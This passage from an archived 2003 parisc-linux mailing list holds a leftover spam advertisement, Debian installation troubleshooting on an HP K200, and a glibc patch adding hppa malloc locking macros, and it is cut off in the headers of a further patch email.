List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19772

--EC2.00F6.D4B2
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

Parisc-linux <center><font face=3Dverdana>S<uu>E<uu>X ATT<uu>RACT<uu>ING PHE<u=
u>RO<uu>MONES!! AVAILABLE HERE!!<P>FOR M<uu>EN OR WOM<uu>EN!!<P><a href=3D=
http://ebargins.biz/phero/>LOOK HERE FOR MORE INFO!!<P></a><font size=3D-2=
>
<BR><BR><BR>zompxbeh pnx zi 
tysndz b dmpnzo cnedlfk
zookkpt h<BR><BR><a href=3Dhttp://ebargins.biz/remove.html>=
RE<uu>MOVE FROM MAI<uu>LLI<uu>ST</a> f p pkl
luaa bvfwwjhcsnfndpfjmxcnscktb a
ybvvfqmciev zfybvm o wyjto

--EC2.00F6.D4B2--



From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max <max@avtlg.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mux + DDP + Terminal 700/80
Date: Fri, 10 Oct 2003 20:02:34 +0400
Lines: 7
Approved: news@gmane.org
Message-ID: <183786510.20031010200234@avtlg.ru>
Reply-To: Max <max@avtlg.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622859 32420 80.91.229.3 (22 Nov 2014 02:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 10:02:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from advent.avtlg.ru (advent.avtlg.ru [217.107.156.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD9A149CC
	for <parisc-linux@parisc-linux.org>; Fri, 10 Oct 2003 10:02:33 -0600 (MDT)
Original-Received: from home (1-55.dial.avtlg.ru [217.107.148.184])
	by advent.avtlg.ru (8.12.8/8.12.8) with ESMTP id h9AG2UHK016028
	for <parisc-linux@parisc-linux.org>; Fri, 10 Oct 2003 20:02:32 +0400 (MSD)
X-Mailer: The Bat! (v2.00) Personal
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19773

Hello.

Is it possible connect terminal 700/80 -> DDP -> MUX -> K100 ?

Tnx.



From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Walker White <wmwhite@udallas.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM 3151 on K200 in Debian 3.0
Date: Fri, 10 Oct 2003 11:35:32 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <C4749327-FB3F-11D7-B35B-0030657CC792@udallas.edu>
References: <0B279720-FB02-11D7-BD3F-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; delsp=yes; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622859 32427 80.91.229.3 (22 Nov 2014 02:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 10:35:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from acad.udallas.edu (unknown [192.91.253.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3ED34868
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 10:35:54 -0600 (MDT)
Original-Received: from udallas.edu (arkham.math.udallas.edu [10.3.12.16] (may be forged))
	by acad.udallas.edu (AIX4.3/8.9.3/8.9.2) with ESMTP id LAA22186;
	Fri, 10 Oct 2003 11:37:22 -0500
In-Reply-To: <0B279720-FB02-11D7-BD3F-0030656F07A2@esiee.fr>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19774

On Friday, October 10, 2003, at 04:13 AM, Thibaut VAR=C8NE wrote:

> Looks like you've been rather unlucky with your search :-P
> <snip>

Read all those and others.  Other e-mails in that thread referenced =20
seemed to imply that this change had been incorporated into all install =20=

images (as there are no PDC suffixes any more).  So I (incorrectly) =20
assumed that the latest Debian images had this fix.  Debian 3.0 is =20
newer than the 2001 thread that first found this console issue (the =20
2002 thread referenced does not mention the console issue explicitly).

I was wrong; this problem was fixed when I got the PARISC images =20
instead.  But this really should be a line item in the FAQ...

However, now I have another issue caused(?) by the netinstall CD.  =20
Whenever I try to install via ftp or http I get an "cannot download" =20
error on files midway through the base installation process.  For the =20=

longest time it was apt_0.5.4_.  I tried every mirror in reasonable =20
proximity.  No luck.

Finally, I switched to CD install and used the Debian CD (the one that =20=

will not boot to the console).  This works, but then it hangs on =20
bsd_utils.  For hours.  I eventually gave up and rebooted.  And I =20
cannot seem to download this file either.

Anyone have any idea what is going on here?

-Walker

------------------------------------------------------------------------=20=

-----------------------
| Walker White                                                          =20=

  Assistant Professor  |
| wmwhite@udallas.edu                                                   =20=

Dept. of Mathematics  |
| 972 -721-5380                                                         =20=

University of Dallas  |
------------------------------------------------------------------------=20=

-----------------------



From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM 3151 on K200 in Debian 3.0
Date: Fri, 10 Oct 2003 20:21:14 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <8850B2D4-FB4E-11D7-BD3F-0030656F07A2@esiee.fr>
References: <C4749327-FB3F-11D7-B35B-0030657CC792@udallas.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622860 32429 80.91.229.3 (22 Nov 2014 02:21:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Walker White <wmwhite@udallas.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 12:21:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF242484E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 12:21:16 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 995FF49BFA; Fri, 10 Oct 2003 20:21:15 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 265AC49E9F; Fri, 10 Oct 2003 20:21:15 +0200 (CEST)
In-Reply-To: <C4749327-FB3F-11D7-B35B-0030657CC792@udallas.edu>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19775

Le vendredi, 10 oct 2003, =E0 18:35 Europe/Paris, Walker White a =E9crit =
:
>
> However, now I have another issue caused(?) by the netinstall CD. =20
> Whenever I try to install via ftp or http I get an "cannot download"=20=

> error on files midway through the base installation process.  For the=20=

> longest time it was apt_0.5.4_.  I tried every mirror in reasonable=20
> proximity.  No luck.
>
> Finally, I switched to CD install and used the Debian CD (the one that=20=

> will not boot to the console).  This works, but then it hangs on=20
> bsd_utils.  For hours.  I eventually gave up and rebooted.  And I=20
> cannot seem to download this file either.
>
> Anyone have any idea what is going on here?

How much RAM does your box have?
I have already seen that kind of trouble with boxes shipped with less=20
than 64MB RAM...

It's also possible that these 2.4.22 ISOs are somehow corrupted, but=20
considering the ratio of downloads vs complaints, it seems quite=20
unlikely (or so I hope).
Obviously we can't test all these ISOs as we're building them...


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Walker White <wmwhite@udallas.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM 3151 on K200 in Debian 3.0
Date: Fri, 10 Oct 2003 13:31:33 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <F91FD8D9-FB4F-11D7-B35B-0030657CC792@udallas.edu>
References: <8850B2D4-FB4E-11D7-BD3F-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622860 32432 80.91.229.3 (22 Nov 2014 02:21:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 12:31:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from acad.udallas.edu (acad.udallas.edu [192.91.253.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id F30C349CC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 12:31:39 -0600 (MDT)
Original-Received: from udallas.edu (arkham.math.udallas.edu [10.3.12.16] (may be forged))
	by acad.udallas.edu (AIX4.3/8.9.3/8.9.2) with ESMTP id NAA14496;
	Fri, 10 Oct 2003 13:33:22 -0500
In-Reply-To: <8850B2D4-FB4E-11D7-BD3F-0030656F07A2@esiee.fr>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19776

256 MB of RAM (4 64 MB chips).  With 4 2GB SCSI drives.

I managed to get it to work by doing the following:

a) Do network install until reaching a download error.
b) Swap to the Debian CD.
c) Load from Debian CD until a perceptible hang.
d) Reboot machine and remount all drives.
e) Goto (a) and repeat until base install finished.

That seemed to work (just finised a few minutes ago), but now the  
machine does not boot on restart.  I am currently trying to fish the  
kernel off the netinstall CDs (I cannot find vmlinux32 anywhere) --  
just in case the installed kernel is bad.


> How much RAM does your box have?
> I have already seen that kind of trouble with boxes shipped with less  
> than 64MB RAM...
>
> It's also possible that these 2.4.22 ISOs are somehow corrupted, but  
> considering the ratio of downloads vs complaints, it seems quite  
> unlikely (or so I hope).
> Obviously we can't test all these ISOs as we're building them...
>
>
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
>
>
------------------------------------------------------------------------ 
-----------------------
| Walker White                                                           
  Assistant Professor  |
| wmwhite@udallas.edu                                                    
Dept. of Mathematics  |
| 972 -721-5380                                                          
University of Dallas  |
------------------------------------------------------------------------ 
-----------------------



From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Walker White <wmwhite@udallas.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM 3151 on K200 in Debian 3.0
Date: Fri, 10 Oct 2003 14:47:41 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <9C146012-FB5A-11D7-B35B-0030657CC792@udallas.edu>
References: <8850B2D4-FB4E-11D7-BD3F-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622860 32433 80.91.229.3 (22 Nov 2014 02:21:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 13:47:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from acad.udallas.edu (acad.udallas.edu [192.91.253.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 469DA484E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 13:47:50 -0600 (MDT)
Original-Received: from udallas.edu (arkham.math.udallas.edu [10.3.12.16] (may be forged))
	by acad.udallas.edu (AIX4.3/8.9.3/8.9.2) with ESMTP id OAA10142;
	Fri, 10 Oct 2003 14:49:30 -0500
In-Reply-To: <8850B2D4-FB4E-11D7-BD3F-0030656F07A2@esiee.fr>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19777

Okay.  Almost done here.  That swap trick DID work.  It just did not  
read the K200 manual to see that HP boots from the end of the SCSI  
chain and not the beginning.  So everything is loaded and it boots.

However my boot crashes right after loading cron.  This is possibly a  
result of the fact that some of my packages came from the debian CD and  
not the netinstall.  Here is the error:

***
Starting periodic command scheduler: cron
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
/bin/sh: /dev/ttyB0: No such device
INIT: Id "T0" respawning to fast: disabled for 5 minutes
INIT: no more processes left in this runlevel

The machine then sleeps for 5 minutes and repeats the error on wake-up  
(so I never get a login).

Using the installation CD, I have opened a shell to verify that there  
is indeed a /dev/ttyB0.  Is this error because I got packages from a  
source other than the netinst CD or is there something else going on  
here?

-Walker

------------------------------------------------------------------------ 
-----------------------
| Walker White                                                           
  Assistant Professor  |
| wmwhite@udallas.edu                                                    
Dept. of Mathematics  |
| 972 -721-5380                                                          
University of Dallas  |
------------------------------------------------------------------------ 
-----------------------



From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Where to put arch-dependant locking in malloc/thread-m.h
Date: Fri, 10 Oct 2003 16:28:44 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20031010202844.GD6454@systemhalted>
References: <20031010122206.714.qmail@w2.w-local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622861 32436 80.91.229.3 (22 Nov 2014 02:21:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Wolfram Gloger <wg@malloc.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 14:32:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40985484E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 14:32:03 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A83sS-0001mm-00; Fri, 10 Oct 2003 16:28:44 -0400
Content-Disposition: inline
In-Reply-To: <20031010122206.714.qmail@w2.w-local>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (77% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19778

On Fri, Oct 10, 2003 at 12:22:06PM -0000, Wolfram Gloger wrote:
> The malloc-machine.h specific headers are now in place,
> so you might want to propose something like the following?
> 
> Regards,
> Wolfram.

Many thanks Wolfram! I've just gotten back from a trip and I had all my
patches ready to send out :)

Cheers,
Carlos.


From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] hppa machine-malloc.h
Date: Fri, 10 Oct 2003 16:41:52 -0400
Lines: 95
Approved: news@gmane.org
Message-ID: <20031010204152.GE6454__1567.48497761345$1416622861$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622861 32461 80.91.229.3 (22 Nov 2014 02:21:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:01 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 14:45:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3BCD4895
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 14:45:10 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A845B-0001oy-00; Fri, 10 Oct 2003 16:41:53 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19779

libc-alpha,

Machine specific hppa malloc locking functions.

Thanks to Wolfram for making the required changes, and reminding me to
submit my patches ;)

Cheers,
Carlos.
===
 linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h |   73 ++++++++++
 1 files changed, 73 insertions(+)
===

2003-10-10  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h: New.

--- libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h	2003-10-04 12:52:09.000000000 -0400
@@ -0,0 +1,73 @@
+/* HP-PARISC macro definitions for mutexes, thread-specific data 
+   and parameters for malloc.
+   Copyright (C) 2003 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Carlos O'Donell <carlos@baldric.uwo.ca>, 2003.
+   
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef _MALLOC_MACHINE_H
+#define _MALLOC_MACHINE_H
+
+#undef thread_atfork_static
+
+#include <atomic.h>
+#include <bits/libc-lock.h>
+
+__libc_lock_define (typedef, mutex_t)
+
+/* Since our lock structure does not tolerate being initialized to zero, we must
+   modify the standard function calls made by malloc */
+#  define mutex_init(m)		\
+	__libc_maybe_call (__pthread_mutex_init, (m, NULL), \
+		(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT),(*(int *)(m))) )
+#  define mutex_lock(m)		\
+	__libc_maybe_call (__pthread_mutex_lock, (m), \
+			(__load_and_clear(&((m)->__m_lock.__spinlock)), 0))
+#  define mutex_trylock(m)	\
+	__libc_maybe_call (__pthread_mutex_trylock, (m), \
+			(*(int *)(m) ? 1 : (__load_and_clear(&((m)->__m_lock.__spinlock)), 0)))
+#  define mutex_unlock(m)	\
+	__libc_maybe_call (__pthread_mutex_unlock, (m), \
+			(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT), (*(int *)(m))) )
+	
+/* This is defined by newer gcc version unique for each module.  */
+extern void *__dso_handle __attribute__ ((__weak__));
+
+#include <fork.h>
+
+#ifdef SHARED
+# define thread_atfork(prepare, parent, child) \
+   __register_atfork (prepare, parent, child, __dso_handle)
+#else
+# define thread_atfork(prepare, parent, child) \
+   __register_atfork (prepare, parent, child,				      \
+		      &__dso_handle == NULL ? NULL : __dso_handle)
+#endif
+
+/* thread specific data for glibc */
+
+#include <bits/libc-tsd.h>
+
+typedef int tsd_key_t[1];	/* no key data structure, libc magic does it */
+__libc_tsd_define (static, MALLOC)	/* declaration/common definition */
+#define tsd_key_create(key, destr)	((void) (key))
+#define tsd_setspecific(key, data)	__libc_tsd_set (MALLOC, (data))
+#define tsd_getspecific(key, vptr)	((vptr) = __libc_tsd_get (MALLOC))
+
+#include <sysdeps/generic/malloc-machine.h>
+
+#endif /* !defined(_MALLOC_MACHINE_H) */


From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] linuxthreads for hppa (1/3)
Date: Fri, 10 Oct 2003 16:44:44 -0400
Lines: 345
Approved: news@gmane.org
Message-ID: <20031010204444.GF6454__13272.4796691493$1416622861$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622861 32474 80.91.229.3 (22 Nov 2014 02:21:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:01 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 14:48:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
